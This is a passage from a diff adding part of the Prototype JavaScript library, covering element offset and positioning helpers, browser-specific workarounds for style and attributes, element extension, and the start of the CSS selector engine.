+  getOffsetParent: function(element) {
+    if (element.offsetParent) return $(element.offsetParent);
+    if (element == document.body) return $(element);
+
+    while ((element = element.parentNode) && element != document.body)
+      if (Element.getStyle(element, 'position') != 'static')
+        return $(element);
+
+    return $(document.body);
+  },
+
+  viewportOffset: function(forElement) {
+    var valueT = 0, valueL = 0;
+
+    var element = forElement;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+
+      // Safari fix
+      if (element.offsetParent == document.body &&
+        Element.getStyle(element, 'position') == 'absolute') break;
+
+    } while (element = element.offsetParent);
+
+    element = forElement;
+    do {
+      if (!Prototype.Browser.Opera || (element.tagName && (element.tagName.toUpperCase() == 'BODY'))) {
+        valueT -= element.scrollTop  || 0;
+        valueL -= element.scrollLeft || 0;
+      }
+    } while (element = element.parentNode);
+
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  clonePosition: function(element, source) {
+    var options = Object.extend({
+      setLeft:    true,
+      setTop:     true,
+      setWidth:   true,
+      setHeight:  true,
+      offsetTop:  0,
+      offsetLeft: 0
+    }, arguments[2] || { });
+
+    // find page position of source
+    source = $(source);
+    var p = source.viewportOffset();
+
+    // find coordinate system to use
+    element = $(element);
+    var delta = [0, 0];
+    var parent = null;
+    // delta [0,0] will do fine with position: fixed elements,
+    // position:absolute needs offsetParent deltas
+    if (Element.getStyle(element, 'position') == 'absolute') {
+      parent = element.getOffsetParent();
+      delta = parent.viewportOffset();
+    }
+
+    // correct by body offsets (fixes Safari)
+    if (parent == document.body) {
+      delta[0] -= document.body.offsetLeft;
+      delta[1] -= document.body.offsetTop;
+    }
+
+    // set position
+    if (options.setLeft)   element.style.left  = (p[0] - delta[0] + options.offsetLeft) + 'px';
+    if (options.setTop)    element.style.top   = (p[1] - delta[1] + options.offsetTop) + 'px';
+    if (options.setWidth)  element.style.width = source.offsetWidth + 'px';
+    if (options.setHeight) element.style.height = source.offsetHeight + 'px';
+    return element;
+  }
+};
+
+Element.Methods.identify.counter = 1;
+
+Object.extend(Element.Methods, {
+  getElementsBySelector: Element.Methods.select,
+  childElements: Element.Methods.immediateDescendants
+});
+
+Element._attributeTranslations = {
+  write: {
+    names: {
+      className: 'class',
+      htmlFor:   'for'
+    },
+    values: { }
+  }
+};
+
+if (Prototype.Browser.Opera) {
+  Element.Methods.getStyle = Element.Methods.getStyle.wrap(
+    function(proceed, element, style) {
+      switch (style) {
+        case 'left': case 'top': case 'right': case 'bottom':
+          if (proceed(element, 'position') === 'static') return null;
+        case 'height': case 'width':
+          // returns '0px' for hidden elements; we want it to return null
+          if (!Element.visible(element)) return null;
+
+          // returns the border-box dimensions rather than the content-box
+          // dimensions, so we subtract padding and borders from the value
+          var dim = parseInt(proceed(element, style), 10);
+
+          if (dim !== element['offset' + style.capitalize()])
+            return dim + 'px';
+
+          var properties;
+          if (style === 'height') {
+            properties = ['border-top-width', 'padding-top',
+             'padding-bottom', 'border-bottom-width'];
+          }
+          else {
+            properties = ['border-left-width', 'padding-left',
+             'padding-right', 'border-right-width'];
+          }
+          return properties.inject(dim, function(memo, property) {
+            var val = proceed(element, property);
+            return val === null ? memo : memo - parseInt(val, 10);
+          }) + 'px';
+        default: return proceed(element, style);
+      }
+    }
+  );
+
+  Element.Methods.readAttribute = Element.Methods.readAttribute.wrap(
+    function(proceed, element, attribute) {
+      if (attribute === 'title') return element.title;
+      return proceed(element, attribute);
+    }
+  );
+}
+
+else if (Prototype.Browser.IE) {
+  // IE doesn't report offsets correctly for static elements, so we change them
+  // to "relative" to get the values, then change them back.
+  Element.Methods.getOffsetParent = Element.Methods.getOffsetParent.wrap(
+    function(proceed, element) {
+      element = $(element);
+      // IE throws an error if element is not in document
+      try { element.offsetParent }
+      catch(e) { return $(document.body) }
+      var position = element.getStyle('position');
+      if (position !== 'static') return proceed(element);
+      element.setStyle({ position: 'relative' });
+      var value = proceed(element);
+      element.setStyle({ position: position });
+      return value;
+    }
+  );
+
+  $w('positionedOffset viewportOffset').each(function(method) {
+    Element.Methods[method] = Element.Methods[method].wrap(
+      function(proceed, element) {
+        element = $(element);
+        try { element.offsetParent }
+        catch(e) { return Element._returnOffset(0,0) }
+        var position = element.getStyle('position');
+        if (position !== 'static') return proceed(element);
+        // Trigger hasLayout on the offset parent so that IE6 reports
+        // accurate offsetTop and offsetLeft values for position: fixed.
+        var offsetParent = element.getOffsetParent();
+        if (offsetParent && offsetParent.getStyle('position') === 'fixed')
+          offsetParent.setStyle({ zoom: 1 });
+        element.setStyle({ position: 'relative' });
+        var value = proceed(element);
+        element.setStyle({ position: position });
+        return value;
+      }
+    );
+  });
+
+  Element.Methods.cumulativeOffset = Element.Methods.cumulativeOffset.wrap(
+    function(proceed, element) {
+      try { element.offsetParent }
+      catch(e) { return Element._returnOffset(0,0) }
+      return proceed(element);
+    }
+  );
+
+  Element.Methods.getStyle = function(element, style) {
+    element = $(element);
+    style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize();
+    var value = element.style[style];
+    if (!value && element.currentStyle) value = element.currentStyle[style];
+
+    if (style == 'opacity') {
+      if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/))
+        if (value[1]) return parseFloat(value[1]) / 100;
+      return 1.0;
+    }
+
+    if (value == 'auto') {
+      if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none'))
+        return element['offset' + style.capitalize()] + 'px';
+      return null;
+    }
+    return value;
+  };
+
+  Element.Methods.setOpacity = function(element, value) {
+    function stripAlpha(filter){
+      return filter.replace(/alpha\([^\)]*\)/gi,'');
+    }
+    element = $(element);
+    var currentStyle = element.currentStyle;
+    if ((currentStyle && !currentStyle.hasLayout) ||
+      (!currentStyle && element.style.zoom == 'normal'))
+        element.style.zoom = 1;
+
+    var filter = element.getStyle('filter'), style = element.style;
+    if (value == 1 || value === '') {
+      (filter = stripAlpha(filter)) ?
+        style.filter = filter : style.removeAttribute('filter');
+      return element;
+    } else if (value < 0.00001) value = 0;
+    style.filter = stripAlpha(filter) +
+      'alpha(opacity=' + (value * 100) + ')';
+    return element;
+  };
+
+  Element._attributeTranslations = {
+    read: {
+      names: {
+        'class': 'className',
+        'for':   'htmlFor'
+      },
+      values: {
+        _getAttr: function(element, attribute) {
+          return element.getAttribute(attribute, 2);
+        },
+        _getAttrNode: function(element, attribute) {
+          var node = element.getAttributeNode(attribute);
+          return node ? node.value : "";
+        },
+        _getEv: function(element, attribute) {
+          attribute = element.getAttribute(attribute);
+          return attribute ? attribute.toString().slice(23, -2) : null;
+        },
+        _flag: function(element, attribute) {
+          return $(element).hasAttribute(attribute) ? attribute : null;
+        },
+        style: function(element) {
+          return element.style.cssText.toLowerCase();
+        },
+        title: function(element) {
+          return element.title;
+        }
+      }
+    }
+  };
+
+  Element._attributeTranslations.write = {
+    names: Object.extend({
+      cellpadding: 'cellPadding',
+      cellspacing: 'cellSpacing'
+    }, Element._attributeTranslations.read.names),
+    values: {
+      checked: function(element, value) {
+        element.checked = !!value;
+      },
+
+      style: function(element, value) {
+        element.style.cssText = value ? value : '';
+      }
+    }
+  };
+
+  Element._attributeTranslations.has = {};
+
+  $w('colSpan rowSpan vAlign dateTime accessKey tabIndex ' +
+      'encType maxLength readOnly longDesc frameBorder').each(function(attr) {
+    Element._attributeTranslations.write.names[attr.toLowerCase()] = attr;
+    Element._attributeTranslations.has[attr.toLowerCase()] = attr;
+  });
+
+  (function(v) {
+    Object.extend(v, {
+      href:        v._getAttr,
+      src:         v._getAttr,
+      type:        v._getAttr,
+      action:      v._getAttrNode,
+      disabled:    v._flag,
+      checked:     v._flag,
+      readonly:    v._flag,
+      multiple:    v._flag,
+      onload:      v._getEv,
+      onunload:    v._getEv,
+      onclick:     v._getEv,
+      ondblclick:  v._getEv,
+      onmousedown: v._getEv,
+      onmouseup:   v._getEv,
+      onmouseover: v._getEv,
+      onmousemove: v._getEv,
+      onmouseout:  v._getEv,
+      onfocus:     v._getEv,
+      onblur:      v._getEv,
+      onkeypress:  v._getEv,
+      onkeydown:   v._getEv,
+      onkeyup:     v._getEv,
+      onsubmit:    v._getEv,
+      onreset:     v._getEv,
+      onselect:    v._getEv,
+      onchange:    v._getEv
+    });
+  })(Element._attributeTranslations.read.values);
+}
+
+else if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) {
+  Element.Methods.setOpacity = function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1) ? 0.999999 :
+      (value === '') ? '' : (value < 0.00001) ? 0 : value;
+    return element;
+  };
+}
+
+else if (Prototype.Browser.WebKit) {
+  Element.Methods.setOpacity = function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1 || value === '') ? '' :
+      (value < 0.00001) ? 0 : value;
+
+    if (value == 1)
+      if(element.tagName.toUpperCase() == 'IMG' && element.width) {
+        element.width++; element.width--;
+      } else try {
+        var n = document.createTextNode(' ');
+        element.appendChild(n);
+        element.removeChild(n);
+      } catch (e) { }
+
+    return element;
+  };
+
+  // Safari returns margins on body which is incorrect if the child is absolutely
+  // positioned.  For performance reasons, redefine Element#cumulativeOffset for
+  // KHTML/WebKit only.
+  Element.Methods.cumulativeOffset = function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      if (element.offsetParent == document.body)
+        if (Element.getStyle(element, 'position') == 'absolute') break;
+
+      element = element.offsetParent;
+    } while (element);
+
+    return Element._returnOffset(valueL, valueT);
+  };
+}
+
+if (Prototype.Browser.IE || Prototype.Browser.Opera) {
+  // IE and Opera are missing .innerHTML support for TABLE-related and SELECT elements
+  Element.Methods.update = function(element, content) {
+    element = $(element);
+
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) return element.update().insert(content);
+
+    content = Object.toHTML(content);
+    var tagName = element.tagName.toUpperCase();
+
+    if (tagName in Element._insertionTranslations.tags) {
+      $A(element.childNodes).each(function(node) { element.removeChild(node) });
+      Element._getContentFromAnonymousElement(tagName, content.stripScripts())
+        .each(function(node) { element.appendChild(node) });
+    }
+    else element.innerHTML = content.stripScripts();
+
+    content.evalScripts.bind(content).defer();
+    return element;
+  };
+}
+
+if ('outerHTML' in document.createElement('div')) {
+  Element.Methods.replace = function(element, content) {
+    element = $(element);
+
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) {
+      element.parentNode.replaceChild(content, element);
+      return element;
+    }
+
+    content = Object.toHTML(content);
+    var parent = element.parentNode, tagName = parent.tagName.toUpperCase();
+
+    if (Element._insertionTranslations.tags[tagName]) {
+      var nextSibling = element.next();
+      var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
+      parent.removeChild(element);
+      if (nextSibling)
+        fragments.each(function(node) { parent.insertBefore(node, nextSibling) });
+      else
+        fragments.each(function(node) { parent.appendChild(node) });
+    }
+    else element.outerHTML = content.stripScripts();
+
+    content.evalScripts.bind(content).defer();
+    return element;
+  };
+}
+
+Element._returnOffset = function(l, t) {
+  var result = [l, t];
+  result.left = l;
+  result.top = t;
+  return result;
+};
+
+Element._getContentFromAnonymousElement = function(tagName, html) {
+  var div = new Element('div'), t = Element._insertionTranslations.tags[tagName];
+  if (t) {
+    div.innerHTML = t[0] + html + t[1];
+    t[2].times(function() { div = div.firstChild });
+  } else div.innerHTML = html;
+  return $A(div.childNodes);
+};
+
+Element._insertionTranslations = {
+  before: function(element, node) {
+    element.parentNode.insertBefore(node, element);
+  },
+  top: function(element, node) {
+    element.insertBefore(node, element.firstChild);
+  },
+  bottom: function(element, node) {
+    element.appendChild(node);
+  },
+  after: function(element, node) {
+    element.parentNode.insertBefore(node, element.nextSibling);
+  },
+  tags: {
+    TABLE:  ['<table>',                '</table>',                   1],
+    TBODY:  ['<table><tbody>',         '</tbody></table>',           2],
+    TR:     ['<table><tbody><tr>',     '</tr></tbody></table>',      3],
+    TD:     ['<table><tbody><tr><td>', '</td></tr></tbody></table>', 4],
+    SELECT: ['<select>',               '</select>',                  1]
+  }
+};
+
+(function() {
+  Object.extend(this.tags, {
+    THEAD: this.tags.TBODY,
+    TFOOT: this.tags.TBODY,
+    TH:    this.tags.TD
+  });
+}).call(Element._insertionTranslations);
+
+Element.Methods.Simulated = {
+  hasAttribute: function(element, attribute) {
+    attribute = Element._attributeTranslations.has[attribute] || attribute;
+    var node = $(element).getAttributeNode(attribute);
+    return !!(node && node.specified);
+  }
+};
+
+Element.Methods.ByTag = { };
+
+Object.extend(Element, Element.Methods);
+
+if (!Prototype.BrowserFeatures.ElementExtensions &&
+    document.createElement('div')['__proto__']) {
+  window.HTMLElement = { };
+  window.HTMLElement.prototype = document.createElement('div')['__proto__'];
+  Prototype.BrowserFeatures.ElementExtensions = true;
+}
+
+Element.extend = (function() {
+  if (Prototype.BrowserFeatures.SpecificElementExtensions)
+    return Prototype.K;
+
+  var Methods = { }, ByTag = Element.Methods.ByTag;
+
+  var extend = Object.extend(function(element) {
+    if (!element || element._extendedByPrototype ||
+        element.nodeType != 1 || element == window) return element;
+
+    var methods = Object.clone(Methods),
+      tagName = element.tagName.toUpperCase(), property, value;
+
+    // extend methods for specific tags
+    if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]);
+
+    for (property in methods) {
+      value = methods[property];
+      if (Object.isFunction(value) && !(property in element))
+        element[property] = value.methodize();
+    }
+
+    element._extendedByPrototype = Prototype.emptyFunction;
+    return element;
+
+  }, {
+    refresh: function() {
+      // extend methods for all tags (Safari doesn't need this)
+      if (!Prototype.BrowserFeatures.ElementExtensions) {
+        Object.extend(Methods, Element.Methods);
+        Object.extend(Methods, Element.Methods.Simulated);
+      }
+    }
+  });
+
+  extend.refresh();
+  return extend;
+})();
+
+Element.hasAttribute = function(element, attribute) {
+  if (element.hasAttribute) return element.hasAttribute(attribute);
+  return Element.Methods.Simulated.hasAttribute(element, attribute);
+};
+
+Element.addMethods = function(methods) {
+  var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag;
+
+  if (!methods) {
+    Object.extend(Form, Form.Methods);
+    Object.extend(Form.Element, Form.Element.Methods);
+    Object.extend(Element.Methods.ByTag, {
+      "FORM":     Object.clone(Form.Methods),
+      "INPUT":    Object.clone(Form.Element.Methods),
+      "SELECT":   Object.clone(Form.Element.Methods),
+      "TEXTAREA": Object.clone(Form.Element.Methods)
+    });
+  }
+
+  if (arguments.length == 2) {
+    var tagName = methods;
+    methods = arguments[1];
+  }
+
+  if (!tagName) Object.extend(Element.Methods, methods || { });
+  else {
+    if (Object.isArray(tagName)) tagName.each(extend);
+    else extend(tagName);
+  }
+
+  function extend(tagName) {
+    tagName = tagName.toUpperCase();
+    if (!Element.Methods.ByTag[tagName])
+      Element.Methods.ByTag[tagName] = { };
+    Object.extend(Element.Methods.ByTag[tagName], methods);
+  }
+
+  function copy(methods, destination, onlyIfAbsent) {
+    onlyIfAbsent = onlyIfAbsent || false;
+    for (var property in methods) {
+      var value = methods[property];
+      if (!Object.isFunction(value)) continue;
+      if (!onlyIfAbsent || !(property in destination))
+        destination[property] = value.methodize();
+    }
+  }
+
+  function findDOMClass(tagName) {
+    var klass;
+    var trans = {
+      "OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph",
+      "FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList",
+      "DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading",
+      "H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote",
+      "INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION":
+      "TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD":
+      "TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR":
+      "TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET":
+      "FrameSet", "IFRAME": "IFrame"
+    };
+    if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element';
+    if (window[klass]) return window[klass];
+    klass = 'HTML' + tagName + 'Element';
+    if (window[klass]) return window[klass];
+    klass = 'HTML' + tagName.capitalize() + 'Element';
+    if (window[klass]) return window[klass];
+
+    window[klass] = { };
+    window[klass].prototype = document.createElement(tagName)['__proto__'];
+    return window[klass];
+  }
+
+  if (F.ElementExtensions) {
+    copy(Element.Methods, HTMLElement.prototype);
+    copy(Element.Methods.Simulated, HTMLElement.prototype, true);
+  }
+
+  if (F.SpecificElementExtensions) {
+    for (var tag in Element.Methods.ByTag) {
+      var klass = findDOMClass(tag);
+      if (Object.isUndefined(klass)) continue;
+      copy(T[tag], klass.prototype);
+    }
+  }
+
+  Object.extend(Element, Element.Methods);
+  delete Element.ByTag;
+
+  if (Element.extend.refresh) Element.extend.refresh();
+  Element.cache = { };
+};
+
+document.viewport = {
+  getDimensions: function() {
+    var dimensions = { }, B = Prototype.Browser;
+    $w('width height').each(function(d) {
+      var D = d.capitalize();
+      if (B.WebKit && !document.evaluate) {
+        // Safari <3.0 needs self.innerWidth/Height
+        dimensions[d] = self['inner' + D];
+      } else if (B.Opera && parseFloat(window.opera.version()) < 9.5) {
+        // Opera <9.5 needs document.body.clientWidth/Height
+        dimensions[d] = document.body['client' + D]
+      } else {
+        dimensions[d] = document.documentElement['client' + D];
+      }
+    });
+    return dimensions;
+  },
+
+  getWidth: function() {
+    return this.getDimensions().width;
+  },
+
+  getHeight: function() {
+    return this.getDimensions().height;
+  },
+
+  getScrollOffsets: function() {
+    return Element._returnOffset(
+      window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft,
+      window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop);
+  }
+};
+/* Portions of the Selector class are derived from Jack Slocum's DomQuery,
+ * part of YUI-Ext version 0.40, distributed under the terms of an MIT-style
+ * license.  Please see http://www.yui-ext.com/ for more information. */
+
+var Selector = Class.create({
+  initialize: function(expression) {
+    this.expression = expression.strip();
+
+    if (this.shouldUseSelectorsAPI()) {
+      this.mode = 'selectorsAPI';
+    } else if (this.shouldUseXPath()) {
+      this.mode = 'xpath';
+      this.compileXPathMatcher();
+    } else {
+      this.mode = "normal";
+      this.compileMatcher();
+    }
+
+  },
+
+  shouldUseXPath: function() {
+    if (!Prototype.BrowserFeatures.XPath) return false;
+
+    var e = this.expression;
+
+    // Safari 3 chokes on :*-of-type and :empty
+    if (Prototype.Browser.WebKit &&
+     (e.include("-of-type") || e.include(":empty")))
+      return false;
+
+    // XPath can't do namespaced attributes, nor can it read
+    // the "checked" property from DOM nodes
+    if ((/(\[[\w-]*?:|:checked)/).test(e))
+      return false;
+
+    return true;
+  },
+
+  shouldUseSelectorsAPI: function() {
+    if (!Prototype.BrowserFeatures.SelectorsAPI) return false;
+
+    if (!Selector._div) Selector._div = new Element('div');
+
+    // Make sure the browser treats the selector as valid. Test on an
+    // isolated element to minimize cost of this check.
+    try {
+      Selector._div.querySelector(this.expression);
+    } catch(e) {
+      return false;
+    }
+
+    return true;
+  },
+
+  compileMatcher: function() {
+    var e = this.expression, ps = Selector.patterns, h = Selector.handlers,
+        c = Selector.criteria, le, p, m;
+
+    if (Selector._cache[e]) {
+      this.matcher = Selector._cache[e];
+      return;
+    }
+
+    this.matcher = ["this.matcher = function(root) {",
+                    "var r = root, h = Selector.handlers, c = false, n;"];
+
+    while (e && le != e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        p = ps[i];
+        if (m = e.match(p)) {
+          this.matcher.push(Object.isFunction(c[i]) ? c[i](m) :
+            new Template(c[i]).evaluate(m));
+          e = e.replace(m[0], '');
+          break;
+        }
+      }
+    }
+
+    this.matcher.push("return h.unique(n);\n}");
+    eval(this.matcher.join('\n'));
+    Selector._cache[this.expression] = this.matcher;
+  },
+
+  compileXPathMatcher: function() {
+    var e = this.expression, ps = Selector.patterns,
+        x = Selector.xpath, le, m;
+
+    if (Selector._cache[e]) {
+      this.xpath = Selector._cache[e]; return;
+    }
+
+    this.matcher = ['.//*'];
+    while (e && le != e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        if (m = e.match(ps[i])) {
+          this.matcher.push(Object.isFunction(x[i]) ? x[i](m) :
+            new Template(x[i]).evaluate(m));
+          e = e.replace(m[0], '');
+          break;
+        }
+      }
+    }
+
+    this.xpath = this.matcher.join('');
+    Selector._cache[this.expression] = this.xpath;
+  },
+
+  findElements: function(root) {
+    root = root || document;
+    var e = this.expression, results;
+
+    switch (this.mode) {
+      case 'selectorsAPI':
+        // querySelectorAll queries document-wide, then filters to descendants
+        // of the context element. That's not what we want.
+        // Add an explicit context to the selector if necessary.
+        if (root !== document) {
+          var oldId = root.id, id = $(root).identify();
+          e = "#" + id + " " + e;
+        }
+
+        results = $A(root.querySelectorAll(e)).map(Element.extend);
+        root.id = oldId;
+
+        return results;
+      case 'xpath':
+        return document._getElementsByXPath(this.xpath, root);
+      default:
+       return this.matcher(root);
+    }
+  },
+
+  match: function(element) {
+    this.tokens = [];
+
+    var e = this.expression, ps = Selector.patterns, as = Selector.assertions;
+    var le, p, m;
+
+    while (e && le !== e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        p = ps[i];
+        if (m = e.match(p)) {
+          // use the Selector.assertions methods unless the selector
+          // is too complex.
+          if (as[i]) {
+            this.tokens.push([i, Object.clone(m)]);
+            e = e.replace(m[0], '');
+          } else {
+            // reluctantly do a document-wide search
+            // and look for a match in the array
+            return this.findElements(document).include(element);
+          }
+        }
+      }
+    }
+
+    var match = true, name, matches;
+    for (var i = 0, token; token = this.tokens[i]; i++) {
+      name = token[0], matches = token[1];
+      if (!Selector.assertions[name](element, matches)) {
+        match = false; break;
+      }
+    }
+
+    return match;
+  },
+
+  toString: function() {
+    return this.expression;
+  },
+
+  inspect: function() {
+    return "#<Selector:" + this.expression.inspect() + ">";
+  }
+});
+
+Object.extend(Selector, {
+  _cache: { },
+
+  xpath: {
+    descendant:   "//*",
+    child:        "/*",
+    adjacent:     "/following-sibling::*[1]",
+    laterSibling: '/following-sibling::*',
+    tagName:      function(m) {
+      if (m[1] == '*') return '';
+      return "[local-name()='" + m[1].toLowerCase() +
+             "' or local-name()='" + m[1].toUpperCase() + "']";
+    },
+    className:    "[contains(concat(' ', @class, ' '), ' #{1} ')]",
+    id:           "[@id='#{1}']",
+    attrPresence: function(m) {
+      m[1] = m[1].toLowerCase();
+      return new Template("[@#{1}]").evaluate(m);
+    },
+    attr: function(m) {
+      m[1] = m[1].toLowerCase();
+      m[3] = m[5] || m[6];
+      return new Template(Selector.xpath.operators[m[2]]).evaluate(m);
+    },
+    pseudo: function(m) {
+      var h = Selector.xpath.pseudos[m[1]];
+      if (!h) return '';
+      if (Object.isFunction(h)) return h(m);
+      return new Template(Selector.xpath.pseudos[m[1]]).evaluate(m);
+    },
+    operators: {
+      '=':  "[@#{1}='#{3}']",
+      '!=': "[@#{1}!='#{3}']",
+      '^=': "[starts-with(@#{1}, '#{3}')]",
+      '$=': "[substring(@#{1}, (string-length(@#{1}) - string-length('#{3}') + 1))='#{3}']",
+      '*=': "[contains(@#{1}, '#{3}')]",
+      '~=': "[contains(concat(' ', @#{1}, ' '), ' #{3} ')]",
+      '|=': "[contains(concat('-', @#{1}, '-'), '-#{3}-')]"
+    },
+    pseudos: {
+      'first-child': '[not(preceding-sibling::*)]',
+      'last-child':  '[not(following-sibling::*)]',
+      'only-child':  '[not(preceding-sibling::* or following-sibling::*)]',
+      'empty':       "[count(*) = 0 and (count(text()) = 0)]",
+      'checked':     "[@checked]",
+      'disabled':    "[(@disabled) and (@type!='hidden')]",
+      'enabled':     "[not(@disabled) and (@type!='hidden')]",
+      'not': function(m) {
+        var e = m[6], p = Selector.patterns,
+            x = Selector.xpath, le, v;
+
+        var exclusion = [];
+        while (e && le != e && (/\S/).test(e)) {
+          le = e;
+          for (var i in p) {
+            if (m = e.match(p[i])) {
+              v = Object.isFunction(x[i]) ? x[i](m) : new Template(x[i]).evaluate(m);
+              exclusion.push("(" + v.substring(1, v.length - 1) + ")");
+              e = e.replace(m[0], '');
+              break;
+            }
+          }
+        }
+        return "[not(" + exclusion.join(" and ") + ")]";
+      },
+      'nth-child':      function(m) {
+        return Selector.xpath.pseudos.nth("(count(./preceding-sibling::*) + 1) ", m);
+      },
+      'nth-last-child': function(m) {
+        return Selector.xpath.pseudos.nth("(count(./following-sibling::*) + 1) ", m);
+      },
+      'nth-of-type':    function(m) {
+        return Selector.xpath.pseudos.nth("position() ", m);
+      },
+      'nth-last-of-type': function(m) {
+        return Selector.xpath.pseudos.nth("(last() + 1 - position()) ", m);
+      },
+      'first-of-type':  function(m) {
+        m[6] = "1"; return Selector.xpath.pseudos['nth-of-type'](m);
+      },
+      'last-of-type':   function(m) {
+        m[6] = "1"; return Selector.xpath.pseudos['nth-last-of-type'](m);
+      },
+      'only-of-type':   function(m) {
+        var p = Selector.xpath.pseudos; return p['first-of-type'](m) + p['last-of-type'](m);
+      },
+      nth: function(fragment, m) {
+        var mm, formula = m[6], predicate;
+        if (formula == 'even') formula = '2n+0';
+        if (formula == 'odd')  formula = '2n+1';
+        if (mm = formula.match(/^(\d+)$/)) // digit only
+          return '[' + fragment + "= " + mm[1] + ']';
+        if (mm = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
+          if (mm[1] == "-") mm[1] = -1;
+          var a = mm[1] ? Number(mm[1]) : 1;
+          var b = mm[2] ? Number(mm[2]) : 0;
+          predicate = "[((#{fragment} - #{b}) mod #{a} = 0) and " +
+          "((#{fragment} - #{b}) div #{a} >= 0)]";
+          return new Template(predicate).evaluate({
+            fragment: fragment, a: a, b: b });
+        }
+      }
+    }
+  },
+
+  criteria: {
+    tagName:      'n = h.tagName(n, r, "#{1}", c);      c = false;',
+    className:    'n = h.className(n, r, "#{1}", c);    c = false;',
+    id:           'n = h.id(n, r, "#{1}", c);           c = false;',
+    attrPresence: 'n = h.attrPresence(n, r, "#{1}", c); c = false;',
+    attr: function(m) {
+      m[3] = (m[5] || m[6]);
+      return new Template('n = h.attr(n, r, "#{1}", "#{3}", "#{2}", c); c = false;').evaluate(m);
+    },
+    pseudo: function(m) {
+      if (m[6]) m[6] = m[6].replace(/"/g, '\\"');
+      return new Template('n = h.pseudo(n, "#{1}", "#{6}", r, c); c = false;').evaluate(m);
+    },
+    descendant:   'c = "descendant";',
+    child:        'c = "child";',
+    adjacent:     'c = "adjacent";',
+    laterSibling: 'c = "laterSibling";'
+  },
+
+  patterns: {
+    // combinators must be listed first
+    // (and descendant needs to be last combinator)
+    laterSibling: /^\s*~\s*/,
+    child:        /^\s*>\s*/,
+    adjacent:     /^\s*\+\s*/,
+    descendant:   /^\s/,
+
+    // selectors follow
+    tagName:      /^\s*(\*|[\w\-]+)(\b|$)?/,
+    id:           /^#([\w\-\*]+)(\b|$)/,
+    className:    /^\.([\w\-\*]+)(\b|$)/,
+    pseudo:
+/^:((first|last|nth|nth-last|only)(-child|-of-type)|empty|checked|(en|dis)abled|not)(\((.*?)\))?(\b|$|(?=\s|[:+~>]))/,
+    attrPresence: /^\[((?:[\w]+:)?[\w]+)\]/,
+    attr:         /\[((?:[\w-]*:)?[\w-]+)\s*(?:([!^$*~|]?=)\s*((['"])([^\4]*?)\4|([^'"][^\]]*?)))?\]/
+  },
+
+  // for Selector.match and Element#match
+  assertions: {
+    tagName: function(element, matches) {
+      return matches[1].toUpperCase() == element.tagName.toUpperCase();
+    },
+
+    className: function(element, matches) {
+      return Element.hasClassName(element, matches[1]);
+    },
+
+    id: function(element, matches) {
+      return element.id === matches[1];
+    },
+
+    attrPresence: function(element, matches) {
+      return Element.hasAttribute(element, matches[1]);
+    },
+
+    attr: function(element, matches) {
+      var nodeValue = Element.readAttribute(element, matches[1]);
+      return nodeValue && Selector.operators[matches[2]](nodeValue, matches[5] || matches[6]);
+    }
+  },
+
+  handlers: {
+    // UTILITY FUNCTIONS
+    // joins two collections
+    concat: function(a, b) {
+      for (var i = 0, node; node = b[i]; i++)
+        a.push(node);
+      return a;
+    },
+
+    // marks an array of nodes for counting
+    mark: function(nodes) {
+      var _true = Prototype.emptyFunction;
+      for (var i = 0, node; node = nodes[i]; i++)
+        node._countedByPrototype = _true;
+      return nodes;
+    },
+
+    unmark: function(nodes) {
+      for (var i = 0, node; node = nodes[i]; i++)
+        node._countedByPrototype = undefined;
+      return nodes;
+    },
+
+    // mark each child node with its position (for nth calls)
+    // "ofType" flag indicates whether we're indexing for nth-of-type
+    // rather than nth-child
+    index: function(parentNode, reverse, ofType) {
+      parentNode._countedByPrototype = Prototype.emptyFunction;
+      if (reverse) {
+        for (var nodes = parentNode.childNodes, i = nodes.length - 1, j = 1; i >= 0; i--) {
+          var node = nodes[i];
+          if (node.nodeType == 1 && (!ofType || node._countedByPrototype)) node.nodeIndex = j++;
+        }
+      } else {
+        for (var i = 0, j = 1, nodes = parentNode.childNodes; node = nodes[i]; i++)
+          if (node.nodeType == 1 && (!ofType || node._countedByPrototype)) node.nodeIndex = j++;
+      }
+    },
+
+    // filters out duplicates and extends all nodes
+    unique: function(nodes) {
+      if (nodes.length == 0) return nodes;
+      var results = [], n;
+      for (var i = 0, l = nodes.length; i < l; i++)
+        if (!(n = nodes[i])._countedByPrototype) {
+          n._countedByPrototype = Prototype.emptyFunction;
+          results.push(Element.extend(n));
+        }
+      return Selector.handlers.unmark(results);
+    },
+
+    // COMBINATOR FUNCTIONS
+    descendant: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        h.concat(results, node.getElementsByTagName('*'));
+      return results;
+    },
+
+    child: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        for (var j = 0, child; child = node.childNodes[j]; j++)
